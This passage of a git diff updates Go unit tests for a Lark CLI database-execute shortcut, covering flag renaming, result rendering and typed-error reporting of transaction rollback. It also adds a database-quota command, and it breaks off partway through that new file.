// TestAppsDBExecute_DryRunSendsTransactionalFalse 断言 dry-run 发出的请求是 POST、params 带 transactional=false(DBA 模式)且 transactional 不在 body 里。
|
||||
func TestAppsDBExecute_DryRunSendsTransactionalFalse(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBExecute,
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "select 1", "--env", "dev", "--dry-run", "--as", "user"},
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "select 1", "--environment", "dev", "--dry-run", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
@@ -85,6 +193,7 @@ func TestAppsDBExecute_DryRunSendsTransactionalFalse(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_RejectsEmptySQL 断言 --sql 全空白时校验报错(提示需要 --sql 或 --file)。
|
||||
func TestAppsDBExecute_RejectsEmptySQL(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBExecute,
|
||||
@@ -94,6 +203,23 @@ func TestAppsDBExecute_RejectsEmptySQL(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_LegacyEnvFlagRejected 钉死:旧名 --env 已移除,显式传入报 validation 错并指向 --environment。
|
||||
func TestAppsDBExecute_LegacyEnvFlagRejected(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBExecute,
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "select 1", "--env", "dev", "--as", "user"}, factory, stdout)
|
||||
if err == nil {
|
||||
t.Fatalf("--env should be rejected; stdout:\n%s", stdout.String())
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryValidation {
|
||||
t.Fatalf("want a typed validation error, got %T: %v", err, err)
|
||||
}
|
||||
if !strings.Contains(p.Message, "--environment") {
|
||||
t.Errorf("message should point to --environment: %q", p.Message)
|
||||
}
|
||||
}
|
||||
|
||||
// --sql 与 --file 互斥
|
||||
func TestAppsDBExecute_RejectsSQLAndFileTogether(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
@@ -124,7 +250,7 @@ func TestAppsDBExecute_FileReadsSQLIntoBody(t *testing.T) {
|
||||
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBExecute,
|
||||
[]string{"+db-execute", "--app-id", "app_x", "--env", "dev", "--file", "m.sql", "--dry-run", "--as", "user"},
|
||||
[]string{"+db-execute", "--app-id", "app_x", "--environment", "dev", "--file", "m.sql", "--dry-run", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
@@ -147,6 +273,7 @@ func TestAppsDBExecute_FileReadsSQLIntoBody(t *testing.T) {
|
||||
// 输入用 BOE 真实抓包数据(test_scripts/boe_e2e/run.log)。
|
||||
// ============================================================================
|
||||
|
||||
// TestAppsDBExecute_LegacyWireSingleSelect 断言 legacy 字符串数组 wire 的单 SELECT 能正常渲染表格、不回退到 RAW。
|
||||
func TestAppsDBExecute_LegacyWireSingleSelect(t *testing.T) {
|
||||
// BOE 实测:SELECT 1 AS x → result: "[\"[{\\\"x\\\":1}]\"]"
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
@@ -178,8 +305,9 @@ func TestAppsDBExecute_LegacyWireSingleSelect(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsDBExecute_LegacyWireSingleSelectJSONEnvelope(t *testing.T) {
|
||||
// 验证 JSON envelope 也把 legacy result 正确归一化进 data.results
|
||||
// TestAppsDBExecute_LegacyWireSingleSelectJSONIsRowArray 断言 legacy wire 的 SELECT 同样归一化成 PRD 行数组形态。
|
||||
func TestAppsDBExecute_LegacyWireSingleSelectJSONIsRowArray(t *testing.T) {
|
||||
// 验证 legacy wire 的 SELECT 也归一化成 PRD 行数组形态(data 直接是行)
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
@@ -197,24 +325,20 @@ func TestAppsDBExecute_LegacyWireSingleSelectJSONEnvelope(t *testing.T) {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
Data struct {
|
||||
Results []map[string]interface{} `json:"results"`
|
||||
} `json:"data"`
|
||||
Data []map[string]interface{} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if len(env.Data.Results) != 1 {
|
||||
t.Fatalf("results length = %d, want 1; got: %v", len(env.Data.Results), env.Data.Results)
|
||||
if len(env.Data) != 1 {
|
||||
t.Fatalf("data length = %d, want 1; got: %v", len(env.Data), env.Data)
|
||||
}
|
||||
if env.Data.Results[0]["sql_type"] != "SELECT" {
|
||||
t.Fatalf("results[0].sql_type = %v, want SELECT", env.Data.Results[0]["sql_type"])
|
||||
}
|
||||
if env.Data.Results[0]["record_count"] != float64(1) {
|
||||
t.Fatalf("results[0].record_count = %v, want 1", env.Data.Results[0]["record_count"])
|
||||
if env.Data[0]["x"] != float64(1) {
|
||||
t.Fatalf("data[0].x = %v, want 1", env.Data[0]["x"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_LegacyWireMultiSelect 断言 legacy wire 多 SELECT 输出带 Statement N header 与末尾 "✓ N statements executed" 汇总。
|
||||
func TestAppsDBExecute_LegacyWireMultiSelect(t *testing.T) {
|
||||
// BOE 实测:SELECT 1; SELECT 2 → result: "[\"[{\\\"?column?\\\":1}]\",\"[{\\\"?column?\\\":2}]\"]"
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
@@ -244,6 +368,7 @@ func TestAppsDBExecute_LegacyWireMultiSelect(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_LegacyWireDDLEmptyResult 断言 result 为空字符串时(legacy DDL)pretty 输出 "(empty result)"。
|
||||
func TestAppsDBExecute_LegacyWireDDLEmptyResult(t *testing.T) {
|
||||
// BOE 实测:CREATE TABLE → result: "" (空字符串,无 rows)
|
||||
// 老 wire 不区分 DDL/DML/无返回,统一标 "ok"
|
||||
@@ -270,6 +395,7 @@ func TestAppsDBExecute_LegacyWireDDLEmptyResult(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_LegacyWireMultiSelectWithRealTable 断言含 CJK / uuid / int 字段的真实表行能正确显示在 pretty 表格里。
|
||||
func TestAppsDBExecute_LegacyWireMultiSelectWithRealTable(t *testing.T) {
|
||||
// BOE 实测真实表抓包(course 表第一行):复杂 JSON 含 CJK / timestamp / uuid 字段
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
@@ -328,6 +454,7 @@ func TestAppsDBExecute_PrettySingleSelectTable(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_PrettyEmptySelect 断言空 SELECT 的 pretty 输出为 "(0 rows)"。
|
||||
func TestAppsDBExecute_PrettyEmptySelect(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
@@ -350,6 +477,7 @@ func TestAppsDBExecute_PrettyEmptySelect(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_PrettySingleDMLAndDDL 断言单条 DML 渲染 "✓ N row(s) <verb>"、各类 DDL(含细粒度动词)渲染 "✓ DDL executed"。
|
||||
func TestAppsDBExecute_PrettySingleDMLAndDDL(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
@@ -386,6 +514,7 @@ func TestAppsDBExecute_PrettySingleDMLAndDDL(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_PrettyMultiStatementsAllSuccess 断言多语句全成功时逐条 Statement 摘要 + 末尾 "✓ N statements executed"。
|
||||
func TestAppsDBExecute_PrettyMultiStatementsAllSuccess(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
@@ -455,6 +584,7 @@ func TestAppsDBExecute_PrettyMultiStatementsDDL(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_PrettyMultiStatementsPartialFailureWithErrorSentinel 断言多语句部分失败时 pretty 仍打逐条 ✓/✗ 摘要、声明前序已 commit 未回滚,且返回 typed error、不打成功汇总。
|
||||
func TestAppsDBExecute_PrettyMultiStatementsPartialFailureWithErrorSentinel(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
@@ -486,19 +616,20 @@ func TestAppsDBExecute_PrettyMultiStatementsPartialFailureWithErrorSentinel(t *t
|
||||
t.Errorf("missing %q in pretty output\nfull:\n%s", line, got)
|
||||
}
|
||||
}
|
||||
// DBA 模式(transactional=false)前序语句已 auto-commit 落地,绝不能误报「rolled back」。
|
||||
if strings.Contains(got, "rolled back") {
|
||||
t.Errorf("DBA mode must NOT claim rollback (prior statements persisted); got:\n%s", got)
|
||||
// 非事务(transactional=false)前序语句已逐条 commit 落地,须如实说明「committed and not rolled back」,
|
||||
// 绝不能误报整批回滚。
|
||||
if !strings.Contains(got, "committed and not rolled back") {
|
||||
t.Errorf("non-tx failure must state prior statements committed & not rolled back; got:\n%s", got)
|
||||
}
|
||||
if strings.Contains(got, "statements executed") {
|
||||
t.Errorf("failed run should NOT print success summary; got:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_MultiStatementFailureReturnsTypedError 钉死「多语句失败 → partial failure」:
|
||||
// 逐条结果 + statement_index / error_code / rolled_back / note 作为 ok:false 数据落 stdout,
|
||||
// 退出信号是 PartialFailureError(非零 exit)。rolled_back=false 因 CLI 永远 DBA 模式
|
||||
// (真机 boe 实证:失败前的语句已落地)。
|
||||
// TestAppsDBExecute_MultiStatementFailureReturnsTypedError 钉死「多语句失败 → typed errs.APIError」:
|
||||
// json 默认不再打 ok:true 假成功,而是返回 typed errs.* 错误(type=api / subtype=server_error、
|
||||
// exit=1)。失败位置在 message 的 "(at statement N of M)",前序是否落地/是否回滚写在 hint。
|
||||
// 本例无 BEGIN → 前序逐条 commit、未回滚(hint 含 "committed and not rolled back")。
|
||||
func TestAppsDBExecute_MultiStatementFailureReturnsTypedError(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
@@ -518,64 +649,36 @@ func TestAppsDBExecute_MultiStatementFailureReturnsTypedError(t *testing.T) {
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "x", "--as", "user"},
|
||||
factory, stdout)
|
||||
if err == nil {
|
||||
t.Fatalf("multi-statement failure must return a partial-failure error; stdout:\n%s", stdout.String())
|
||||
t.Fatalf("multi-statement failure must return a typed error; stdout:\n%s", stdout.String())
|
||||
}
|
||||
// json 失败路径不得打成功 envelope。
|
||||
if strings.Contains(stdout.String(), `"ok": true`) {
|
||||
t.Errorf("must not emit ok:true success envelope on failure; stdout:\n%s", stdout.String())
|
||||
}
|
||||
var pfErr *output.PartialFailureError
|
||||
if !errors.As(err, &pfErr) {
|
||||
t.Fatalf("want *output.PartialFailureError, got %T: %v", err, err)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("want a typed errs.* error, got %T: %v", err, err)
|
||||
}
|
||||
if pfErr.Code != output.ExitAPI {
|
||||
t.Errorf("exit = %d, want %d (ExitAPI)", pfErr.Code, output.ExitAPI)
|
||||
if p.Category != errs.CategoryAPI || p.Subtype != errs.SubtypeServerError {
|
||||
t.Errorf("category/subtype = %s/%s, want api/server_error", p.Category, p.Subtype)
|
||||
}
|
||||
payload := decodePartialFailureData(t, stdout.String())
|
||||
if got := payload["statement_index"]; got != float64(1) {
|
||||
t.Errorf("statement_index = %v, want 1", got)
|
||||
if p.Code != 1300002 {
|
||||
t.Errorf("code = %d, want 1300002", p.Code)
|
||||
}
|
||||
if got := payload["error_code"]; got != float64(1300002) {
|
||||
t.Errorf("error_code = %v, want 1300002", got)
|
||||
if !strings.Contains(p.Message, "(at statement 2 of 2)") {
|
||||
t.Errorf("message missing statement locator: %q", p.Message)
|
||||
}
|
||||
msg, _ := payload["error_message"].(string)
|
||||
if !strings.Contains(msg, "(at statement 2 of 2)") {
|
||||
t.Errorf("error_message missing statement locator: %q", msg)
|
||||
// 无 BEGIN → 前序逐条 commit、未回滚,语义写在 hint。
|
||||
if !strings.Contains(p.Hint, "committed and not rolled back") {
|
||||
t.Errorf("hint should state prior statements committed & not rolled back: %q", p.Hint)
|
||||
}
|
||||
if got := payload["rolled_back"]; got != false {
|
||||
t.Errorf("rolled_back = %v, want false (DBA mode persists prior statements)", got)
|
||||
if output.ExitCodeOf(err) != output.ExitAPI {
|
||||
t.Errorf("exit = %d, want %d (ExitAPI)", output.ExitCodeOf(err), output.ExitAPI)
|
||||
}
|
||||
results, _ := payload["results"].([]interface{})
|
||||
if len(results) != 2 {
|
||||
t.Errorf("results length = %d, want 2 (persisted statement + ERROR sentinel)", len(results))
|
||||
}
|
||||
note, _ := payload["note"].(string)
|
||||
if !strings.Contains(note, "already applied") {
|
||||
t.Errorf("note should warn prior statements persisted, got %q", note)
|
||||
}
|
||||
}
|
||||
|
||||
// decodePartialFailureData 解析 stdout 上 ok:false 的 partial-failure envelope,返回 data 块。
|
||||
func decodePartialFailureData(t *testing.T, stdoutStr string) map[string]interface{} {
|
||||
t.Helper()
|
||||
var envelope struct {
|
||||
OK bool `json:"ok"`
|
||||
Data map[string]interface{} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(stdoutStr), &envelope); err != nil {
|
||||
t.Fatalf("stdout is not a JSON envelope: %v\n%s", err, stdoutStr)
|
||||
}
|
||||
if envelope.OK {
|
||||
t.Fatalf("envelope.ok = true, want false on partial failure")
|
||||
}
|
||||
if envelope.Data == nil {
|
||||
t.Fatalf("envelope.data missing; stdout:\n%s", stdoutStr)
|
||||
}
|
||||
return envelope.Data
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_SingleErrorReturnsTypedError 单条语句失败(server 也返 code:0 + ERROR 哨兵)
|
||||
// 同样走 partial failure:statement_index=0、note 说明无语句落地、message 标注 (at statement 1 of 1)。
|
||||
// 同样升级成 typed error:statement_index=0、completed 空、message 标注 (at statement 1 of 1)。
|
||||
func TestAppsDBExecute_SingleErrorReturnsTypedError(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
@@ -592,26 +695,92 @@ func TestAppsDBExecute_SingleErrorReturnsTypedError(t *testing.T) {
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "x", "--as", "user"},
|
||||
factory, stdout)
|
||||
if err == nil {
|
||||
t.Fatalf("single ERROR sentinel must return a partial-failure error; stdout:\n%s", stdout.String())
|
||||
t.Fatalf("single ERROR sentinel must return a typed error; stdout:\n%s", stdout.String())
|
||||
}
|
||||
var pfErr *output.PartialFailureError
|
||||
if !errors.As(err, &pfErr) {
|
||||
t.Fatalf("want *output.PartialFailureError, got %T: %v", err, err)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("want a typed errs.* error, got %T: %v", err, err)
|
||||
}
|
||||
payload := decodePartialFailureData(t, stdout.String())
|
||||
msg, _ := payload["error_message"].(string)
|
||||
if !strings.Contains(msg, "(at statement 1 of 1)") {
|
||||
t.Errorf("error_message missing locator: %q", msg)
|
||||
if p.Category != errs.CategoryAPI || p.Subtype != errs.SubtypeServerError {
|
||||
t.Errorf("category/subtype = %s/%s, want api/server_error", p.Category, p.Subtype)
|
||||
}
|
||||
if got := payload["statement_index"]; got != float64(0) {
|
||||
t.Errorf("statement_index = %v, want 0", got)
|
||||
if !strings.Contains(p.Message, "(at statement 1 of 1)") {
|
||||
t.Errorf("message missing locator: %q", p.Message)
|
||||
}
|
||||
note, _ := payload["note"].(string)
|
||||
if !strings.Contains(note, "no statements were applied") {
|
||||
t.Errorf("note should say nothing was applied, got %q", note)
|
||||
// 第一条就失败、无落地 的语义写在 hint。
|
||||
if !strings.Contains(p.Hint, "No statements were applied") {
|
||||
t.Errorf("hint should state nothing applied: %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_TransactionFailureRolledBack 钉死「显式事务内失败 → 整批回滚」:
|
||||
// 实测后端把 BEGIN 也作为 statement 返回;completed 含未配对 BEGIN → inferRolledBack 判定回滚。
|
||||
// 回滚语义现写在 hint(miaoda 原句 "Transaction rolled back; no changes persisted."),失败位置在 message。
|
||||
func TestAppsDBExecute_TransactionFailureRolledBack(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/sql_commands",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
// BOE 实测 wire:BEGIN; CREATE; INSERT(ok); INSERT(dup→ERROR)
|
||||
"result": `[` +
|
||||
`{"sql_type":"BEGIN","data":"[]"},` +
|
||||
`{"sql_type":"CREATE_TABLE","data":"[]"},` +
|
||||
`{"sql_type":"INSERT","data":"[{\"rowCount\":1}]","affected_rows":1},` +
|
||||
`{"sql_type":"ERROR","data":"{\"code\":\"k_dl_1300002\",\"message\":\"duplicate key value violates unique constraint\"}"}` +
|
||||
`]`,
|
||||
},
|
||||
},
|
||||
})
|
||||
err := runAppsShortcut(t, AppsDBExecute,
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "x", "--as", "user"},
|
||||
factory, stdout)
|
||||
if err == nil {
|
||||
t.Fatalf("transaction failure must return a typed error; stdout:\n%s", stdout.String())
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("want a typed errs.* error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryAPI || p.Subtype != errs.SubtypeServerError {
|
||||
t.Errorf("category/subtype = %s/%s, want api/server_error", p.Category, p.Subtype)
|
||||
}
|
||||
if !strings.Contains(p.Message, "(at statement 4 of 4)") {
|
||||
t.Errorf("message missing statement locator: %q", p.Message)
|
||||
}
|
||||
// 事务整批回滚 / 前序未落库 的语义写在 hint(miaoda 原句)。
|
||||
if !strings.Contains(p.Hint, "Transaction rolled back; no changes persisted.") {
|
||||
t.Errorf("hint should state transaction rolled back & nothing persisted: %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInferRolledBack_Cases 断言 inferRolledBack 按 BEGIN/COMMIT/ROLLBACK 计数判定失败时事务是否仍开着(即整批回滚)。
|
||||
func TestInferRolledBack_Cases(t *testing.T) {
|
||||
stmt := func(t string) map[string]interface{} { return map[string]interface{}{"sql_type": t} }
|
||||
cases := []struct {
|
||||
name string
|
||||
completed []map[string]interface{}
|
||||
want bool
|
||||
}{
|
||||
{"empty", nil, false},
|
||||
{"autocommit single", []map[string]interface{}{stmt("INSERT")}, false},
|
||||
{"open tx (unmatched BEGIN)", []map[string]interface{}{stmt("BEGIN"), stmt("CREATE_TABLE"), stmt("INSERT")}, true},
|
||||
{"closed tx (BEGIN+COMMIT)", []map[string]interface{}{stmt("BEGIN"), stmt("INSERT"), stmt("COMMIT")}, false},
|
||||
{"reopened tx", []map[string]interface{}{stmt("BEGIN"), stmt("COMMIT"), stmt("BEGIN"), stmt("INSERT")}, true},
|
||||
{"rollback closes tx", []map[string]interface{}{stmt("BEGIN"), stmt("INSERT"), stmt("ROLLBACK")}, false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
t.Run(c.name, func(t *testing.T) {
|
||||
if got := inferRolledBack(c.completed); got != c.want {
|
||||
t.Errorf("inferRolledBack(%s) = %v, want %v", c.name, got, c.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestCellString_AllKinds 断言 cellString 对 nil/string/bool/整数/小数/对象各类型的字符串化结果。
|
||||
func TestCellString_AllKinds(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
@@ -635,6 +804,7 @@ func TestCellString_AllKinds(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestCodeString_Forms 断言 codeString 处理 nil / "k_dl_xxx" / 纯数字串 / float64 / 不支持类型各形态。
|
||||
func TestCodeString_Forms(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
@@ -656,6 +826,7 @@ func TestCodeString_Forms(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestDmlVerb_AllVerbs 断言 dmlVerb 对 INSERT/UPDATE/DELETE/MERGE 的动词映射(大小写不敏感),非 DML 返回 affected。
|
||||
func TestDmlVerb_AllVerbs(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"INSERT": "inserted",
|
||||
@@ -671,6 +842,7 @@ func TestDmlVerb_AllVerbs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntOrZero_Cases 断言 intOrZero 对 JSON number 取整、对非数字 / nil 返回 0。
|
||||
func TestIntOrZero_Cases(t *testing.T) {
|
||||
if got := intOrZero(float64(5)); got != 5 {
|
||||
t.Errorf("intOrZero(5)=%d want 5", got)
|
||||
@@ -683,6 +855,7 @@ func TestIntOrZero_Cases(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestErrorSummary_Cases 断言 errorSummary 对空 / 非法 JSON / 带 code / 无 code 各情形生成 "message [code]" 文案。
|
||||
func TestErrorSummary_Cases(t *testing.T) {
|
||||
cases := []struct {
|
||||
name, in, want string
|
||||
@@ -701,6 +874,7 @@ func TestErrorSummary_Cases(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseErrorSentinel_Cases 断言 parseErrorSentinel 解析 ERROR 哨兵 data 得到数值 code 与 message(含空 / 非法 / 空 message 回退)。
|
||||
func TestParseErrorSentinel_Cases(t *testing.T) {
|
||||
cases := []struct {
|
||||
name, in string
|
||||
@@ -722,6 +896,7 @@ func TestParseErrorSentinel_Cases(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestIsStructuredResult_Cases 断言 isStructuredResult 仅在首元素含 sql_type 时判为新结构化形态。
|
||||
func TestIsStructuredResult_Cases(t *testing.T) {
|
||||
if !isStructuredResult([]map[string]interface{}{{"sql_type": "SELECT"}}) {
|
||||
t.Error("expected structured=true when sql_type present")
|
||||
@@ -734,6 +909,7 @@ func TestIsStructuredResult_Cases(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestNormalizeLegacyStatement_Cases 断言 normalizeLegacyStatement 把空 / null / 非 JSON 标为 OK、把 rows 数组标为 SELECT 并带 record_count。
|
||||
func TestNormalizeLegacyStatement_Cases(t *testing.T) {
|
||||
t.Run("empty -> OK", func(t *testing.T) {
|
||||
got := normalizeLegacyStatement("")
|
||||
@@ -764,6 +940,7 @@ func TestNormalizeLegacyStatement_Cases(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
// TestCellString_MarshalFallback 断言 cellString 对 json.Marshal 拒绝的类型(如 complex)回退到 fmt %v。
|
||||
func TestCellString_MarshalFallback(t *testing.T) {
|
||||
// complex128 is not switch-handled and json.Marshal rejects it →
|
||||
// falls back to fmt.Sprintf("%v", v), which is deterministic for complex.
|
||||
@@ -772,6 +949,7 @@ func TestCellString_MarshalFallback(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestRenderSingleStatementPretty_Branches 断言 renderSingleStatementPretty 对 SELECT/ERROR/DML/legacy OK/DDL 各分支的输出。
|
||||
func TestRenderSingleStatementPretty_Branches(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
@@ -795,6 +973,7 @@ func TestRenderSingleStatementPretty_Branches(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestRenderSelectRowsAsTable_Branches 断言 renderSelectRowsAsTable 对空串 / 空数组 / 非法 JSON 回退 / 正常 rows 各分支的输出。
|
||||
func TestRenderSelectRowsAsTable_Branches(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
@@ -816,35 +995,3 @@ func TestRenderSelectRowsAsTable_Branches(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_PrettyPartialFailureKeepsStdoutHumanOnly pins the pretty
|
||||
// contract on a statement failure: stdout carries only the per-statement
|
||||
// human summary (no JSON envelope stacked after it), and the command still
|
||||
// exits non-zero via the partial-failure signal.
|
||||
func TestAppsDBExecute_PrettyPartialFailureKeepsStdoutHumanOnly(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/sql_commands",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"result": `[{"sql_type":"ERROR","data":"{\"code\":\"k_dl_000002\",\"message\":\"syntax error\"}"}]`,
|
||||
},
|
||||
},
|
||||
})
|
||||
err := runAppsShortcut(t, AppsDBExecute,
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "x", "--format", "pretty", "--as", "user"},
|
||||
factory, stdout)
|
||||
var pfErr *output.PartialFailureError
|
||||
if !errors.As(err, &pfErr) {
|
||||
t.Fatalf("want *output.PartialFailureError, got %T: %v", err, err)
|
||||
}
|
||||
out := stdout.String()
|
||||
if !strings.Contains(out, "✗") {
|
||||
t.Fatalf("pretty summary missing failure marker; stdout:\n%s", out)
|
||||
}
|
||||
if strings.Contains(out, `"ok"`) {
|
||||
t.Fatalf("pretty stdout must not stack a JSON envelope after the summary; stdout:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
101
shortcuts/apps/apps_db_quota_get.go
Normal file
101
shortcuts/apps/apps_db_quota_get.go
Normal file
@@ -0,0 +1,101 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
// AppsDBQuotaGet reports an app's database storage usage and object counts.
|
||||
//
|
||||
// GET /apps/{app_id}/db/quota。storage_quota_bytes / usage_percent 在配额未对接(=0)时
|
||||
// 不输出(与 +file-quota-get 一致);tables / views 始终输出。
|
||||
var AppsDBQuotaGet = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-quota-get",
|
||||
Description: "Get an app's database storage usage",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-quota-get --app-id <app_id>",
|
||||
"Example: lark-cli apps +db-quota-get --app-id <app_id> --environment dev",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
return rejectLegacyEnvFlag(rctx)
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
GET(appDbQuotaPath(appID)).
|
||||
Desc("Get Miaoda app database storage usage").
|
||||
Params(map[string]interface{}{"env": dbEnv(rctx)})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := rctx.CallAPITyped("GET", appDbQuotaPath(appID), map[string]interface{}{"env": dbEnv(rctx)}, nil)
|
||||
if err != nil {
|
||||
return withAppsHint(err, appIDListHint)
|
||||
}
|
||||
out := projectDbQuota(data)
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
renderDbQuotaPretty(w, out)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// projectDbQuota 白名单投影 db quota 字段:只保留 storage_used_bytes / tables / views,
|
||||
// 配额已对接时再加 storage_quota_bytes / usage_percent。不透传后端其它字段,避免无用字段消耗上下文。
|
||||
func projectDbQuota(data map[string]interface{}) map[string]interface{} {
|
||||
out := map[string]interface{}{"storage_used_bytes": data["storage_used_bytes"]}
|
||||
for _, k := range []string{"tables", "views"} {
|
||||
if v, ok := data[k]; ok {
|
||||
out[k] = v
|
||||
}
|
||||
}
|
||||
// 配额未对接(storage_quota_bytes=0/缺失)时不输出 quota / usage_percent。
|
||||
if q, ok := numericAsFloat(data["storage_quota_bytes"]); ok && q > 0 {
|
||||
